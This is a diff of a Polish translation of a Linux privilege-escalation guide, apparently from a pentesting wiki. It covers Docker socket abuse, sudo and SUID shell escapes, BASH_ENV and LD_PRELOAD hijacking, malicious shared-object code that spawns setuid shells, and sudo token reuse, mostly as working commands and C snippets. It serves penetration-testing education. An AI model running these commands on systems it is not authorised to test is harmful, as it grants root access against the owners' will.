socket **odpowiada na zapytania HTTP**, możesz się z nim **komunikować** i być może **exploit some vulnerability**. +Jeśli socket **odpowiada na żądanie HTTP**, możesz **komunikować się** z nim i być może **exploit some vulnerability**. -### Zapisowalne gniazdo Dockera +### Docker socket z prawami zapisu -Gniazdo Dockera, często znajdujące się pod `/var/run/docker.sock`, to krytyczny plik, który powinien być zabezpieczony. Domyślnie jest zapisywalny przez użytkownika `root` oraz członków grupy `docker`. Posiadanie dostępu zapisu do tego gniazda może prowadzić do privilege escalation. Poniżej wyjaśnienie, jak można to osiągnąć i alternatywne metody, jeśli Docker CLI nie jest dostępne. +Docker socket, często znajdujący się pod `/var/run/docker.sock`, to krytyczny plik, który powinien być zabezpieczony. Domyślnie jest zapisywalny przez użytkownika `root` i członków grupy `docker`. Posiadanie write access do tego socketu może prowadzić do Privilege Escalation. Poniżej znajdziesz opis, jak można to osiągnąć oraz alternatywne metody, jeśli Docker CLI nie jest dostępne. #### **Privilege Escalation with Docker CLI** -Jeśli masz dostęp zapisu do gniazda Dockera, możesz escalate privileges używając następujących poleceń: +Jeśli masz write access do Docker socket, możesz escalate privileges używając następujących poleceń: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Te polecenia pozwalają uruchomić kontener z dostępem roota do systemu plików hosta. +Te polecenia umożliwiają uruchomienie kontenera z dostępem root do systemu plików hosta. -#### **Korzystanie bezpośrednio z Docker API** +#### **Używanie Docker API bezpośrednio** -W przypadkach, gdy Docker CLI nie jest dostępne, Docker socket można nadal obsługiwać przy użyciu Docker API i poleceń `curl`. +W sytuacjach, gdy Docker CLI nie jest dostępne, Docker socket można nadal obsługiwać przy użyciu Docker API i poleceń `curl`. -1. **Wyświetl obrazy Dockera:** Pobierz listę dostępnych obrazów. +1. **List Docker Images:** Pobierz listę dostępnych obrazów. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Utwórz kontener:** Wyślij żądanie utworzenia kontenera, który montuje katalog root systemu hosta. +2. **Create a Container:** Wyślij żądanie utworzenia kontenera, który zamontuje katalog root systemu hosta. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Uruchom nowo utworzony kontener: +Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Podłącz się do kontenera:** Użyj `socat`, aby nawiązać połączenie z kontenerem, umożliwiając wykonywanie poleceń w jego wnętrzu. +3. **Attach to the Container:** Użyj `socat`, aby nawiązać połączenie z kontenerem, umożliwiając wykonywanie poleceń w jego wnętrzu. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -560,31 +559,31 @@ Connection: Upgrade Upgrade: tcp ``` -Po nawiązaniu połączenia `socat` możesz wykonywać polecenia bezpośrednio w kontenerze z dostępem roota do systemu plików hosta. +Po skonfigurowaniu połączenia `socat` możesz wykonywać polecenia bezpośrednio w kontenerze z dostępem root do systemu plików hosta. ### Inne -Zwróć uwagę, że jeśli masz uprawnienia do zapisu na docker socket, ponieważ jesteś **w grupie `docker`**, masz [**więcej sposobów na eskalację uprawnień**](interesting-groups-linux-pe/index.html#docker-group). Jeśli [**docker API nasłuchuje na porcie** możesz również być w stanie je przejąć](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Zwróć uwagę, że jeśli masz uprawnienia zapisu do docker socket, ponieważ jesteś **w grupie `docker`**, masz [**więcej sposobów na eskalację uprawnień**](interesting-groups-linux-pe/index.html#docker-group). Jeśli [**docker API nasłuchuje na porcie** możesz też być w stanie je skompromitować](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Sprawdź **więcej sposobów na wyjście z dockera lub nadużycie go do eskalacji uprawnień** w: +Sprawdź **więcej sposobów na wydostanie się z docker lub jego wykorzystanie do eskalacji uprawnień** w: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) eskalacja uprawnień +## Containerd (ctr) privilege escalation -Jeśli możesz użyć polecenia **`ctr`**, przeczytaj następującą stronę, ponieważ **możesz go nadużyć do eskalacji uprawnień**: +If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **Eskalacja uprawnień RunC** +## **RunC** privilege escalation -Jeśli możesz użyć polecenia **`runc`**, przeczytaj następującą stronę, ponieważ **możesz go nadużyć do eskalacji uprawnień**: +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -593,15 +592,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus jest zaawansowanym systemem komunikacji międzyprocesowej (IPC), który umożliwia aplikacjom efektywną interakcję i wymianę danych. Zaprojektowany z myślą o nowoczesnych systemach Linux, oferuje solidne ramy dla różnych form komunikacji między aplikacjami. +D-Bus to zaawansowany system komunikacji międzyprocesowej (IPC), który umożliwia aplikacjom efektywną wzajemną interakcję i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidne ramy dla różnych form komunikacji aplikacji. -System jest wszechstronny, wspierając podstawową komunikację międzyprocesową, która usprawnia wymianę danych między procesami, przypominając rozszerzone gniazda domeny UNIX. Ponadto pomaga w rozgłaszaniu zdarzeń lub sygnałów, ułatwiając płynną integrację komponentów systemu. Na przykład sygnał od demona Bluetooth o przychodzącym połączeniu może spowodować wyciszenie odtwarzacza muzyki, poprawiając komfort użytkownika. Dodatkowo D-Bus obsługuje system zdalnych obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, upraszczając procesy, które wcześniej były skomplikowane. +System jest wszechstronny — obsługuje podstawowe IPC, które usprawnia wymianę danych między procesami, przypominając rozszerzone UNIX domain sockets. Ponadto wspiera wysyłanie zdarzeń lub sygnałów, ułatwiając bezproblemową integrację komponentów systemowych. Na przykład sygnał z demona Bluetooth o nadchodzącym połączeniu może nakazać odtwarzaczowi muzyki wyciszenie dźwięku, poprawiając doświadczenie użytkownika. Dodatkowo D-Bus obsługuje system zdalnych obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, co usprawnia procesy tradycyjnie skomplikowane. -D-Bus działa w modelu **allow/deny**, zarządzając uprawnieniami do wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie skumulowanego efektu pasujących reguł polityki. Te polityki określają interakcje z busem, co potencjalnie może pozwolić na eskalację uprawnień poprzez wykorzystanie tych uprawnień. +D-Bus działa w modelu allow/deny, zarządzając uprawnieniami do wiadomości (wywołań metod, emisji sygnałów itp.) na podstawie skumulowanego działania pasujących reguł polityki. Polityki te określają interakcje z busy, co potencjalnie może prowadzić do eskalacji uprawnień przez wykorzystanie tych uprawnień. -Podano przykład takiej polityki w `/etc/dbus-1/system.d/wpa_supplicant.conf`, opisujący uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości od `fi.w1.wpa_supplicant1`. +Przykład takiej polityki w `/etc/dbus-1/system.d/wpa_supplicant.conf` jest podany, określając uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości od `fi.w1.wpa_supplicant1`. -Polityki bez określonego użytkownika lub grupy stosują się uniwersalnie, podczas gdy polityki kontekstu "default" odnoszą się do wszystkich, którzy nie są objęci innymi, specyficznymi politykami. +Polityki bez określonego użytkownika lub grupy mają zastosowanie uniwersalnie, podczas gdy polityki w kontekście "default" dotyczą wszystkich nieobjętych innymi, bardziej szczegółowymi politykami. ```xml @@ -610,7 +609,7 @@ Polityki bez określonego użytkownika lub grupy stosują się uniwersalnie, pod ``` -**Dowiedz się, jak enumerować i wykorzystywać komunikację D-Bus tutaj:** +**Dowiedz się, jak enumerate i exploit komunikację D-Bus tutaj:** {{#ref}} @@ -619,9 +618,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Sieć** -Zawsze warto przeprowadzić enumerację sieci i ustalić pozycję maszyny. +Zawsze warto enumerate sieć, aby określić położenie maszyny. -### Ogólna enumeracja +### Generic enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -644,16 +643,16 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Otwarte porty +### Otwwarte porty -Zawsze sprawdź usługi sieciowe działające na maszynie, z którymi nie mogłeś wejść w interakcję przed uzyskaniem do niej dostępu: +Zawsze sprawdzaj usługi sieciowe działające na maszynie, z którymi nie mogłeś wejść w interakcję przed uzyskaniem dostępu: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Sprawdź, czy możesz sniff traffic. Jeśli tak, możesz być w stanie przechwycić pewne credentials. +Sprawdź, czy możesz sniff traffic. Jeśli tak, możesz przechwycić jakieś credentials. ``` timeout 1 tcpdump ``` @@ -661,7 +660,7 @@ timeout 1 tcpdump ### Ogólna enumeracja -Sprawdź, kim jesteś, jakie masz **uprawnienia**, którzy **użytkownicy** są w systemie, którzy mogą się **zalogować** i którzy mają **uprawnienia roota**: +Sprawdź, **kim** jesteś, jakie masz **uprawnienia**, którzy **użytkownicy** są w systemie, którzy mogą się **zalogować** i którzy mają **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -685,8 +684,8 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -Niektóre wersje Linuksa były podatne na błąd, który pozwala użytkownikom z **UID > INT_MAX** na eskalację uprawnień. Więcej informacji: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -Wykorzystaj to przy użyciu: **`systemd-run -t /bin/bash`** +Niektóre wersje Linuksa były podatne na błąd, który pozwala użytkownikom z **UID > INT_MAX** na eskalację uprawnień. Więcej informacji: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) i [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Wykorzystaj to** używając: **`systemd-run -t /bin/bash`** ### Grupy @@ -716,27 +715,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Znane hasła -Jeżeli **znasz jakiekolwiek hasło** środowiska, **spróbuj zalogować się jako każdy użytkownik** używając tego hasła. +If you **znasz jakiekolwiek hasło** środowiska **spróbuj zalogować się jako każdy użytkownik** używając tego hasła. ### Su Brute -Jeśli nie przeszkadza Ci generowanie dużego hałasu i na komputerze dostępne są binaria `su` i `timeout`, możesz spróbować brute-force użytkownika używając [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) z parametrem `-a` również próbuje brute-force użytkowników. +Jeśli nie przeszkadza ci generowanie dużego hałasu i binarki `su` oraz `timeout` są obecne na komputerze, możesz spróbować przeprowadzić brute-force użytkownika przy użyciu [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) z parametrem `-a` także próbuje przeprowadzić brute-force na użytkownikach. -## Nadużycia zapisu $PATH +## Nadużycia zapisywalnego $PATH ### $PATH -Jeżeli stwierdzisz, że możesz **zapisywać w jakimś katalogu z $PATH** możesz być w stanie eskalować uprawnienia przez **utworzenie backdoor w zapisywalnym katalogu** o nazwie pewnego polecenia, które będzie uruchamiane przez innego użytkownika (root ideally) i które jest **not loaded from a folder that is located previous** to your writable folder in $PATH. +Jeśli odkryjesz, że możesz **zapisać do jakiegoś folderu z $PATH** możesz być w stanie eskalować uprawnienia przez **utworzenie backdoora w zapisywalnym folderze** o nazwie jakiegoś polecenia, które zostanie wykonane przez innego użytkownika (najlepiej root) i które **nie jest ładowane z katalogu znajdującego się wcześniej** niż twój zapisywalny folder w $PATH. ### SUDO and SUID -Możesz mieć możliwość uruchomienia jakiegoś polecenia przy użyciu sudo lub plik może mieć ustawiony bit suid. Sprawdź to używając: +Możesz mieć pozwolenie na uruchomienie pewnego polecenia za pomocą sudo lub polecenia może mieć ustawiony bit suid. Sprawdź to używając: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Niektóre **nieoczekiwane polecenia pozwalają na odczyt i/lub zapis plików albo nawet wykonanie polecenia.** Na przykład: +Niektóre **nieoczekiwane polecenia pozwalają odczytywać i/lub zapisywać pliki, a nawet wykonać polecenie.** Na przykład: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -747,33 +746,33 @@ less>! ``` ### NOPASSWD -Konfiguracja Sudo może pozwolić użytkownikowi wykonać pewne polecenie z uprawnieniami innego użytkownika bez znajomości hasła. +Konfiguracja Sudo może pozwolić użytkownikowi na uruchomienie pewnego polecenia z uprawnieniami innego użytkownika bez znajomości hasła. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -W tym przykładzie użytkownik `demo` może uruchamiać `vim` jako `root`. Zdobycie powłoki jest teraz trywialne — wystarczy dodać klucz ssh do katalogu root lub wywołać `sh`. +W tym przykładzie użytkownik `demo` może uruchomić `vim` jako `root`, więc uzyskanie powłoki jest trywialne — wystarczy dodać klucz ssh do katalogu root lub wywołać `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Ta dyrektywa pozwala użytkownikowi **set an environment variable** podczas wykonywania polecenia: +Ta dyrektywa pozwala użytkownikowi **ustawić zmienną środowiskową** podczas wykonywania polecenia: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Ten przykład, **oparty na HTB machine Admirer**, był **podatny** na **PYTHONPATH hijacking**, umożliwiając załadowanie dowolnej biblioteki python podczas wykonywania skryptu jako root: +Ten przykład, **based on HTB machine Admirer**, był **vulnerable** na **PYTHONPATH hijacking**, co pozwalało załadować dowolną bibliotekę python podczas wykonywania skryptu jako root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV zachowane przez sudo env_keep → root shell +### BASH_ENV zachowany przez sudo env_keep → root shell -Jeśli sudoers zachowuje `BASH_ENV` (np. `Defaults env_keep+="ENV BASH_ENV"`), możesz wykorzystać zachowanie startowe Bash w trybie nieinteraktywnym, aby uruchomić dowolny kod jako root podczas wywoływania dozwolonego polecenia. +Jeśli sudoers zachowuje `BASH_ENV` (np. `Defaults env_keep+="ENV BASH_ENV"`), możesz wykorzystać nieinteraktywne zachowanie startowe Basha, aby uruchomić dowolny kod jako root podczas wywoływania dozwolonego polecenia. -- Dlaczego to działa: Dla nieinteraktywnych powłok Bash odczytuje `$BASH_ENV` i wczytuje ten plik przed uruchomieniem docelowego skryptu. Wiele reguł sudo zezwala na uruchamianie skryptu lub wrappera powłoki. Jeśli `BASH_ENV` jest zachowane przez sudo, twój plik zostanie wczytany z uprawnieniami root. +- Dlaczego to działa: Dla powłok nieinteraktywnych Bash ocenia `$BASH_ENV` i ładuje ten plik przed uruchomieniem docelowego skryptu. Wiele reguł sudo pozwala na uruchamianie skryptu lub wrappera powłoki. Jeśli `BASH_ENV` jest zachowany przez sudo, Twój plik zostanie załadowany z uprawnieniami roota. - Wymagania: - Reguła sudo, którą możesz uruchomić (dowolny target, który wywołuje `/bin/bash` w trybie nieinteraktywnym, lub dowolny skrypt bash). @@ -789,14 +788,14 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- Hardening: -- Usuń `BASH_ENV` (i `ENV`) z `env_keep`, używaj `env_reset`. -- Unikaj opakowań powłoki dla komend dozwolonych przez sudo; używaj minimalnych binariów. +- Utwardzanie: +- Usuń `BASH_ENV` (i `ENV`) z `env_keep`; użyj `env_reset`. +- Unikaj shell wrappers dla poleceń dozwolonych przez sudo; używaj minimalnych binarek. - Rozważ logowanie I/O sudo i alertowanie, gdy używane są zachowane zmienne środowiskowe. -### Ścieżki omijające wykonanie sudo +### Ścieżki obejścia wykonywania sudo -**Przejdź** aby przeczytać inne pliki lub użyć **symlinks**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Przejdź** aby przeczytać inne pliki lub użyj **symlinks**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -806,7 +805,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Jeśli użyty jest **wildcard** (\*), jest to jeszcze łatwiejsze: +Jeśli użyty zostanie **wildcard** (\*), jest to jeszcze łatwiejsze: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files @@ -815,37 +814,37 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Sudo command/SUID binary bez ścieżki do polecenia -Jeśli **uprawnienie sudo** jest przyznane dla pojedynczego polecenia **bez określenia ścieżki**: _hacker10 ALL= (root) less_ możesz to wykorzystać, zmieniając zmienną PATH. +Jeśli **sudo permission** jest przyznane pojedynczemu poleceniu **bez określenia ścieżki**: _hacker10 ALL= (root) less_ możesz to wykorzystać, zmieniając zmienną PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Ta technika może być również użyta, jeśli binarka **suid** **wywołuje inne polecenie bez określenia jego ścieżki (zawsze sprawdź zawartość dziwnego pliku SUID za pomocą** _**strings**_**)**). +Tę technikę można również użyć, jeśli plik **suid** **wykonuje inne polecenie bez określenia jego ścieżki (zawsze sprawdź za pomocą** _**strings**_ **zawartość dziwnego pliku SUID)**. [Payload examples to execute.](payloads-to-execute.md) -### Plik SUID z podaną ścieżką do polecenia +### SUID binary z określoną ścieżką polecenia -Jeśli binarka **suid** **wywołuje inne polecenie podając jego ścieżkę**, możesz spróbować **wyeksportować funkcję** nazwaną tak, jak polecenie, które wywołuje plik suid. +Jeśli plik **suid** **wykonuje inne polecenie, podając jego ścieżkę**, możesz spróbować **export a function** o nazwie takiej jak polecenie, które wywołuje plik suid. -Na przykład, jeśli binarka suid wywołuje _**/usr/sbin/service apache2 start**_ musisz spróbować utworzyć funkcję i wyeksportować ją: +Na przykład, jeśli plik suid wywołuje _**/usr/sbin/service apache2 start**_, musisz spróbować utworzyć funkcję i ją exportować: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Następnie, gdy wywołasz suid binary, ta funkcja zostanie wykonana +Następnie, gdy wywołasz binarkę suid, ta funkcja zostanie wykonana ### LD_PRELOAD & **LD_LIBRARY_PATH** -Zmienna środowiskowa **LD_PRELOAD** służy do wskazania jednej lub więcej bibliotek współdzielonych (.so files), które loader załaduje przed wszystkimi innymi, w tym przed standardową biblioteką C (`libc.so`). Ten proces znany jest jako wstępne ładowanie biblioteki. +Zmienna środowiskowa **LD_PRELOAD** służy do wskazywania jednej lub więcej bibliotek współdzielonych (.so), które mają zostać załadowane przez loader przed wszystkimi innymi, włącznie z biblioteką standardową C (`libc.so`). Ten proces nazywa się wstępnym ładowaniem biblioteki. -Jednak aby zachować bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku wykonywalnych plików **suid/sgid**, system wymusza pewne warunki: +Jednakże, aby zachować bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku wykonywalnych plików **suid/sgid**, system narzuca pewne warunki: -- Loader ignoruje **LD_PRELOAD** dla plików wykonywalnych, w których realny identyfikator użytkownika (_ruid_) nie zgadza się z efektywnym identyfikatorem użytkownika (_euid_). -- Dla plików wykonywalnych z suid/sgid, tylko biblioteki w standardowych ścieżkach, które również mają suid/sgid, są wstępnie ładowane. +- Loader ignoruje **LD_PRELOAD** dla plików wykonywalnych, w których rzeczywiste ID użytkownika (_ruid_) nie odpowiada efektywnemu ID użytkownika (_euid_). +- Dla plików wykonywalnych z **suid/sgid** wstępnie ładowane są tylko biblioteki znajdujące się w standardowych ścieżkach, które również mają **suid/sgid**. -Privilege escalation może wystąpić, jeśli masz możliwość wykonywania poleceń za pomocą `sudo`, a wynik `sudo -l` zawiera wpis **env_keep+=LD_PRELOAD**. Ta konfiguracja pozwala, aby zmienna środowiskowa **LD_PRELOAD** przetrwała i była uwzględniana nawet podczas uruchamiania poleceń z `sudo`, co może doprowadzić do uruchomienia dowolnego kodu z podniesionymi uprawnieniami. +Do eskalacji uprawnień może dojść, jeśli masz możliwość uruchamiania poleceń przy użyciu `sudo` i wynik `sudo -l` zawiera wpis **env_keep+=LD_PRELOAD**. Taka konfiguracja pozwala, aby zmienna środowiskowa **LD_PRELOAD** pozostała i była uwzględniana nawet przy uruchamianiu poleceń z `sudo`, co może prowadzić do wykonania dowolnego kodu z podwyższonymi uprawnieniami. ``` Defaults env_keep += LD_PRELOAD ``` @@ -867,12 +866,12 @@ Następnie **skompiluj to** używając: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Na koniec, **escalate privileges** uruchamiając +Na koniec uruchom **escalate privileges** ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Podobny privesc może być wykorzystany, jeśli atakujący kontroluje zmienną środowiskową **LD_LIBRARY_PATH**, ponieważ kontroluje ścieżkę, w której będą wyszukiwane biblioteki. +> Podobny privesc można wykorzystać, jeśli atakujący kontroluje zmienną środowiskową **LD_LIBRARY_PATH**, ponieważ kontroluje ścieżkę, w której będą wyszukiwane biblioteki. ```c #include #include @@ -894,13 +893,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Gdy natrafisz na binary z uprawnieniami **SUID**, które wydają się nietypowe, dobrą praktyką jest sprawdzenie, czy poprawnie ładuje pliki **.so**. Można to sprawdzić, uruchamiając następujące polecenie: +Gdy natrafisz na plik binarny z uprawnieniami **SUID**, który wydaje się nietypowy, warto sprawdzić, czy poprawnie ładuje pliki **.so**. Można to zweryfikować, uruchamiając następujące polecenie: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Na przykład natrafienie na błąd taki jak _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje możliwość wykorzystania. +Na przykład, napotkanie błędu takiego jak _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje potencjał do wykorzystania. -Aby to wykorzystać, należy utworzyć plik C, na przykład _"/path/to/.config/libcalc.c"_, zawierający następujący kod: +Aby to wykorzystać, należy stworzyć plik C, np. _"/path/to/.config/libcalc.c"_, zawierający następujący kod: ```c #include #include @@ -911,9 +910,9 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ten kod, po skompilowaniu i uruchomieniu, ma na celu podniesienie uprawnień poprzez manipulowanie uprawnieniami plików oraz uruchomienie powłoki z podwyższonymi uprawnieniami. +Ten kod, po skompilowaniu i uruchomieniu, ma na celu podniesienie uprawnień poprzez manipulację uprawnieniami plików i uruchomienie powłoki z podwyższonymi uprawnieniami. -Skompiluj powyższy plik C do pliku .so za pomocą: +Skompiluj powyższy plik C do pliku shared object (.so) za pomocą: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` @@ -929,7 +928,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Teraz, gdy znaleźliśmy binarkę SUID ładującą library z folderu, do którego możemy zapisywać, utwórzmy library w tym folderze o wymaganej nazwie: +Skoro znaleźliśmy SUID binary ładujący library z folderu, do którego możemy zapisywać, utwórzmy library w tym folderze o potrzebnej nazwie: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -950,9 +949,9 @@ to oznacza, że wygenerowana biblioteka musi zawierać funkcję o nazwie `a_func ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) to kuratorowana lista binarek Unix, które mogą zostać wykorzystane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. [**GTFOArgs**](https://gtfoargs.github.io/) działa podobnie, ale dla przypadków, gdy możesz **tylko wstrzykiwać argumenty** w polecenie. +[**GTFOBins**](https://gtfobins.github.io) jest kuratowaną listą binariów Unix, które mogą zostać wykorzystane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. [**GTFOArgs**](https://gtfoargs.github.io/) jest tym samym, ale dla przypadków, gdy możesz **tylko wstrzykiwać argumenty** w polecenie. -Projekt zbiera legalne funkcje binarek Unix, które można nadużyć, aby uciec z ograniczonych shelli, eskalować lub utrzymać podwyższone uprawnienia, przesyłać pliki, uruchamiać bind i reverse shelle oraz ułatwiać inne zadania post-exploitation. +Projekt zbiera legalne funkcje binariów Unix, które można nadużyć, aby wydostać się z ograniczonych shelli, eskalować lub utrzymać podwyższone uprawnienia, przesyłać pliki, uruchamiać bind i reverse shells oraz ułatwiać inne zadania post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -971,55 +970,55 @@ https://gtfoargs.github.io/ ### FallOfSudo -Jeśli masz dostęp do `sudo -l` możesz użyć narzędzia [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aby sprawdzić, czy znajdzie sposoby na wykorzystanie jakiejkolwiek reguły sudo. +Jeśli możesz uruchomić `sudo -l` możesz użyć narzędzia [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo), aby sprawdzić, czy znajdzie sposób na wykorzystanie jakiejkolwiek reguły sudo. -### Wykorzystywanie tokenów sudo +### Reusing Sudo Tokens -W sytuacjach, gdy masz **dostęp do sudo**, ale nie znasz hasła, możesz eskalować uprawnienia poprzez **oczekiwanie na wykonanie polecenia sudo i przejęcie tokenu sesji**. +W przypadkach, gdy masz **sudo access** ale nie znasz hasła, możesz eskalować uprawnienia, **czekając na wykonanie polecenia sudo, a następnie przejmując token sesji**. -Wymagania do eskalacji uprawnień: +Requirements to escalate privileges: - Masz już shell jako użytkownik "_sampleuser_" -- "_sampleuser_" **użył `sudo`** do wykonania czegoś w **ostatnich 15 minutach** (domyślnie to czas trwania tokenu sudo, który pozwala używać `sudo` bez podawania hasła) -- `cat /proc/sys/kernel/yama/ptrace_scope` ma wartość 0 +- "_sampleuser_" używał **`sudo`** do wykonania czegoś w **ostatnich 15 minutach** (domyślnie to czas trwania tokena sudo, który pozwala nam używać `sudo` bez podawania hasła) +- `cat /proc/sys/kernel/yama/ptrace_scope` jest 0 - `gdb` jest dostępny (możesz go przesłać) (Możesz tymczasowo włączyć `ptrace_scope` za pomocą `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub trwale modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`) -Jeśli wszystkie te wymagania są spełnione, **możesz eskalować uprawnienia używając:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Jeśli wszystkie wymagania są spełnione, **możesz eskalować uprawnienia używając:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Pierwszy **exploit** (`exploit.sh`) utworzy binarkę `activate_sudo_token` w _/tmp_. Możesz jej użyć, aby **aktywować token sudo w swojej sesji** (nie otrzymasz automatycznie root shell, wykonaj `sudo su`): +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. Możesz jej użyć, aby **aktywować sudo token w swojej sesji** (nie otrzymasz automatycznie root shell, wykonaj `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **drugi exploit** (`exploit_v2.sh`) utworzy sh shell w _/tmp_, który będzie należał do root i będzie miał ustawiony setuid +- Drugi **exploit** (`exploit_v2.sh`) utworzy sh shell w _/tmp_ **należący do root z setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **Trzeci exploit** (`exploit_v3.sh`) **utworzy plik sudoers**, który **czyni tokeny sudo wiecznymi i pozwala wszystkim użytkownikom używać sudo** +- **Trzeci exploit** (`exploit_v3.sh`) **utworzy sudoers file**, który sprawi, że **sudo tokens będą wieczne i pozwoli wszystkim użytkownikom używać sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Jeśli masz **uprawnienia do zapisu** w folderze lub na którymkolwiek z plików utworzonych w tym folderze możesz użyć binarki [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) aby **utworzyć token sudo dla użytkownika i PID**.\ -Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz powłokę jako ten użytkownik z PID 1234, możesz **uzyskać uprawnienia sudo** bez potrzeby znajomości hasła, wykonując: +Jeśli masz **write permissions** w tym folderze lub na którymkolwiek z plików utworzonych wewnątrz folderu, możesz użyć binarki [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) aby **create a sudo token for a user and PID**.\ +Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz shell jako ten użytkownik z PID 1234, możesz **obtain sudo privileges** bez potrzeby znajomości hasła, wykonując: ```bash ./write_sudo_token 1234 > 